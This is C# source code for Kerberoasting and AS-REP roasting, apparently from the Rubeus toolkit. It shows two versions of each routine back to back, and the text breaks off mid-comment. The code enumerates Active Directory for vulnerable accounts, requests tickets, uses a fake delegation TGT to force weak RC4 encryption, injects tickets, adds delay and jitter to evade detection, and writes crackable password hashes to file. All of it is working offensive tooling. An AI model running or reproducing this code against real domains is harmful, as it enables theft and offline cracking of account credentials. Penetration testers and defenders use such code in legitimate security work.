public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "", string ldapFilter = "") { if (!String.IsNullOrEmpty(userName)) { Console.WriteLine("[*] Target User : {0}", userName); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(domainController)) { Console.WriteLine("[*] Target DC : {0}", domainController); } Console.WriteLine(); if (!String.IsNullOrEmpty(userName) && !String.IsNullOrEmpty(domain) && !String.IsNullOrEmpty(domainController)) { // if we have a username, domain, and DC specified, we don't need to search for users and can roast directly GetASRepHash(userName, domain, domainController, format, outFile); } else { DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; try { if (String.IsNullOrEmpty(domainController)) { domainController = Networking.GetDCName(domain); //if domain is null, this will try to find a DC in current user's domain } directoryObject = Networking.GetLdapSearchRoot(cred, OUName, domainController, domain); userSearcher = new DirectorySearcher(directoryObject); // enable LDAP paged search to get all results, by pages of 1000 items userSearcher.PageSize = 1000; } catch (Exception ex) { if (ex.InnerException != null) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); } else { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); } return; } // check to ensure that the bind worked correctly try { string dirPath = directoryObject.Path; if (String.IsNullOrEmpty(dirPath)) { Console.WriteLine("[*] Searching the current domain for AS-REP roastable users"); } else { Console.WriteLine("[*] Searching path '{0}' for AS-REP roastable users", dirPath); } } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); } return; } try { string userSearchFilter = ""; if (String.IsNullOrEmpty(userName)) { userSearchFilter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"; } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))", userName); } if (!String.IsNullOrEmpty(ldapFilter)) { userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); } userSearcher.Filter = userSearchFilter; } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("[X] No users found to AS-REP roast!"); } foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); Console.WriteLine("[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); GetASRepHash(samAccountName, domain, domainController, format, outFile); } } catch (Exception ex) { if (ex.InnerException != null) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); } else { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.Message); } return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
public static void Kerberoast(string spn = "", List <string> spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false) { if (userStats) { Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed."); } else if (TGT != null) { Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); } else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) { Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); TGT = new KRB_CRED(delegTGTbytes); Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); } else { Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); } if ((enterprise) && ((TGT == null) || ((String.IsNullOrEmpty(spn)) && (spns != null) && (spns.Count == 0)))) { Console.WriteLine("[X] To use Enterprise Principals, /spn or /spns has to be specified, along with either /ticket or /tgtdeleg"); return; } if (delay != 0) { Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests."); if (jitter != 0) { Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests."); } Console.WriteLine(); } if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] Target SPN : {0}", spn); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); } } else if ((spns != null) && (spns.Count != 0)) { foreach (string s in spns) { Console.WriteLine("\r\n[*] Target SPN : {0}", s); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, s, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(s, "USER", "DISTINGUISHEDNAME", cred, outFile); } } } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { Console.WriteLine("[*] Target Users : {0}", userName); } else { Console.WriteLine("[*] Target User : {0}", userName); } } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } // inject ticket for LDAP search if supplied if (TGT != null) { byte[] kirbiBytes = null; string ticketDomain = TGT.enc_part.ticket_info[0].prealm; if (String.IsNullOrEmpty(domain)) { // if a domain isn't specified, use the domain from the referral domain = ticketDomain; } // referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher if (ticketDomain != domain) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(domain); } string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; Ticket ticket = TGT.tickets[0]; byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; // check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); if (match.Success) { System.Net.IPAddress dcIP = System.Net.IPAddress.Parse(dc); System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP); dc = dcInfo.HostName; } // request a service tickt for LDAP on the target DC kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false); } // otherwise inject the TGT to perform the domain searcher else { kirbiBytes = TGT.Encode().Encode(); } LSA.ImportTicket(kirbiBytes, new LUID()); } DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; try { directoryObject = Networking.GetLdapSearchRoot(cred, OUName, dc, domain); userSearcher = new DirectorySearcher(directoryObject); // enable LDAP paged search to get all results, by pages of 1000 items userSearcher.PageSize = 1000; } catch (Exception ex) { if (ex.InnerException != null) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); } else { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); } return; } // check to ensure that the bind worked correctly try { string dirPath = directoryObject.Path; if (String.IsNullOrEmpty(dirPath)) { Console.WriteLine("[*] Searching the current domain for Kerberoastable users"); } else { Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath); } } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); } return; } try { string userFilter = ""; if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { // searching for multiple specified users, ensuring they're not disabled accounts string userPart = ""; foreach (string user in userName.Split(',')) { userPart += String.Format("(samAccountName={0})", user); } userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart); } else { // searching for a specified user, ensuring it's not a disabled account userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); } } else { // if no user specified, filter out the krbtgt account and disabled accounts userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; } string encFilter = ""; if (String.Equals(supportedEType, "rc4opsec")) { // "opsec" RC4, meaning don't RC4 roast accounts that support AES Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } else if (String.Equals(supportedEType, "aes")) { // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, // then RC4 tickets would NOT be returned, so the original filter was: // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ // so this fine-grained filtering is not needed string userSearchFilter = ""; if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) { if (String.IsNullOrEmpty(pwdSetAfter)) { pwdSetAfter = "01-01-1601"; } if (String.IsNullOrEmpty(pwdSetBefore)) { pwdSetBefore = "01-01-2100"; } Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore); try { DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); } catch { Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); return; } } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); } if (!String.IsNullOrEmpty(ldapFilter)) { userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); } userSearcher.Filter = userSearchFilter; } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { if (resultLimit > 0) { userSearcher.SizeLimit = resultLimit; Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString()); } SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } else { Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count); } // used to keep track of user encryption types SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>(); // used to keep track of years that users had passwords last set in SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>(); foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString(); DateTime?pwdLastSet = null; if (user.Properties.Contains("pwdlastset")) { long lastPwdSet = (long)(user.Properties["pwdlastset"][0]); pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet); } Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0; if (user.Properties.Contains("msDS-SupportedEncryptionTypes")) { supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0]; } if (!userETypes.ContainsKey(supportedETypes)) { userETypes[supportedETypes] = 1; } else { userETypes[supportedETypes] = userETypes[supportedETypes] + 1; } if (pwdLastSet == null) { // pwdLastSet == null with new accounts and // when a password is set to never expire if (!userPWDsetYears.ContainsKey(-1)) { userPWDsetYears[-1] = 1; } else { userPWDsetYears[-1] += 1; } } else { int year = pwdLastSet.Value.Year; if (!userPWDsetYears.ContainsKey(year)) { userPWDsetYears[year] = 1; } else { userPWDsetYears[year] += 1; } } if (!userStats) { if (!simpleOutput) { Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); } if ((!String.IsNullOrEmpty(domain)) && (TGT == null)) { servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); } if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified if (String.Equals(supportedEType, "rc4") && ( ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) ) ) { // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); Helpers.RandomDelayWithJitter(delay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, Interop.KERB_ETYPE.rc4_hmac); Helpers.RandomDelayWithJitter(delay, jitter); } } else { // otherwise don't force RC4 - have all supported encryption types for opsec reasons bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc); Helpers.RandomDelayWithJitter(delay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc); Helpers.RandomDelayWithJitter(delay, jitter); } } } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); Helpers.RandomDelayWithJitter(delay, jitter); } } } if (userStats) { var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count"); var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count"); Console.WriteLine(); // display stats about the users found foreach (var item in userETypes) { eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString()); } eTypeTable.Write(); foreach (var item in userPWDsetYears) { pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString()); } pwdLastSetTable.Write(); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "") { Console.WriteLine("\r\n[*] Action: AS-REP roasting\r\n"); if (!String.IsNullOrEmpty(userName)) { Console.WriteLine("[*] Target User : {0}", userName); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(domainController)) { Console.WriteLine("[*] Target DC : {0}", domainController); } Console.WriteLine(); if (!String.IsNullOrEmpty(userName) && !String.IsNullOrEmpty(domain) && !String.IsNullOrEmpty(domainController)) { // if we have a username, domain, and DC specified, we don't need to search for users and can roast directly GetASRepHash(userName, domain, domainController, format, outFile); } else { DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; string bindPath = ""; string domainPath = ""; try { if (String.IsNullOrEmpty(domainController)) { if (!String.IsNullOrEmpty(domain)) { // if a foreign domain is specified but no DC, use the domain name as the DC domainController = domain; } else { // otherwise grab the system's current DC domainController = Networking.GetDCName(); } } bindPath = String.Format("LDAP://{0}", domainController); if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("{0}/{1}", bindPath, ouPath); } else if (!String.IsNullOrEmpty(domain)) { domainPath = domain.Replace(".", ",DC="); bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); } if (!String.IsNullOrEmpty(bindPath)) { directoryObject = new DirectoryEntry(bindPath); } else { directoryObject = new DirectoryEntry(); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain)) { if (!pc.ValidateCredentials(cred.UserName, cred.Password)) { Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain); return; } else { Console.WriteLine("[*] Using alternate creds : {0}\r\n", userDomain); } } } userSearcher = new DirectorySearcher(directoryObject); } catch (Exception ex) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); return; } // check to ensure that the bind worked correctly try { Guid guid = directoryObject.Guid; } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); } return; } try { if (String.IsNullOrEmpty(userName)) { userSearcher.Filter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"; } else { userSearcher.Filter = String.Format("(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))", userName); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("[X] No users found to AS-REP roast!"); } foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); Console.WriteLine("[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); GetASRepHash(samAccountName, domain, domainController, format, outFile); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", int resultLimit = 0) { Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n"); if (TGT != null) { Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); } else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) { Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); TGT = new KRB_CRED(delegTGTbytes); Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); } else { Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); } if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] Target SPN : {0}", spn); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); } } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { Console.WriteLine("[*] Target User : {0}", userName); } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; string bindPath = ""; string domainPath = ""; try { if (cred != null) { if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath); } else { bindPath = String.Format("LDAP://{0}", cred.Domain); } } else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName)) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(); } bindPath = String.Format("LDAP://{0}", dc); if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("{0}/{1}", bindPath, ouPath); } else if (!String.IsNullOrEmpty(domain)) { domainPath = domain.Replace(".", ",DC="); bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); } } if (!String.IsNullOrEmpty(bindPath)) { directoryObject = new DirectoryEntry(bindPath); } else { directoryObject = new DirectoryEntry(); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain)) { if (!pc.ValidateCredentials(cred.UserName, cred.Password)) { Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain); return; } else { Console.WriteLine("[*] Using alternate creds : {0}", userDomain); } } } userSearcher = new DirectorySearcher(directoryObject); } catch (Exception ex) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); return; } // check to ensure that the bind worked correctly try { string dirPath = directoryObject.Path; if (String.IsNullOrEmpty(dirPath)) { Console.WriteLine("[*] Searching the current domain for Kerberoastable users"); } else { Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath); } } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); } return; } try { string userFilter = ""; if (!String.IsNullOrEmpty(userName)) { // searching for a specified user, ensuring it's not a disabled account userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); } else { // if no user specified, filter out the krbtgt account and disabled accounts userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; } string encFilter = ""; if (String.Equals(supportedEType, "rc4opsec")) { // "opsec" RC4, meaning don't RC4 roast accounts that support AES Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } else if (String.Equals(supportedEType, "aes")) { // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, // then RC4 tickets would NOT be returned, so the original filter was: // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ // so this fine-grained filtering is not needed string userSearchFilter = ""; if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) { if (String.IsNullOrEmpty(pwdSetAfter)) { pwdSetAfter = "01-01-1601"; } if (String.IsNullOrEmpty(pwdSetBefore)) { pwdSetBefore = "01-01-2100"; } Console.WriteLine("[*] Searching for accounts with lastpwdset from " + pwdSetAfter + " to " + pwdSetBefore); try { DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); } catch { Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); return; } } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); } userSearcher.Filter = userSearchFilter; } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { if (resultLimit > 0) { userSearcher.SizeLimit = resultLimit; Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString()); } SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } else { Console.WriteLine("\r\n[*] Found {0} user(s) to Kerberoast!", users.Count); } foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString(); long lastPwdSet = (long)(user.Properties["pwdlastset"][0]); DateTime pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet); Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0; if (user.Properties.Contains("msDS-SupportedEncryptionTypes")) { supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0]; } Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); if (!String.IsNullOrEmpty(domain)) { servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); } if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified if (String.Equals(supportedEType, "rc4") && ( ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) ) ) { // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise don't force RC4 - have all supported encryption types for opsec reasons GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, dc); } } else { // otherwise use the 